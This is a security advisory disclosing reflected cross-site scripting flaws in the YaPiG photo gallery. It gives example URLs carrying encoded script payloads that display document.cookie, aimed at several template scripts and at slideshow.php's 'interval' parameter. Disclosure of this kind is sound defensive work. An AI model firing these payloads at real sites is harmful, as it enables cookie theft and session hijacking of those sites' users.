Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in YaPiG which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in YaPiG
1.1 The vulnerability exists due to input sanitation errors in multiple scripts inside the template/default/ directory. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/template/default/add_comment_form.php?I_ADD_COMMENT=%3Cscript% 3Ealert%28document.cooki e%29;%3C/script%3E
http://[host]/template/default/admin_task_bar.php?I_ADMI N_TASKS=%3Cscript%3Ealer t%28document.cookie%29;%3C/script%3E
http://[host]/template/default/delete_ gallery_form.php?I_SELEC T_OPT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/te mplate/default/face_begi n.php?I_TITLE=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E

1.2 The vulnerability exists due to input sanitation error in the "interval" parameter in slideshow.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/slideshow.php?interval=%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E
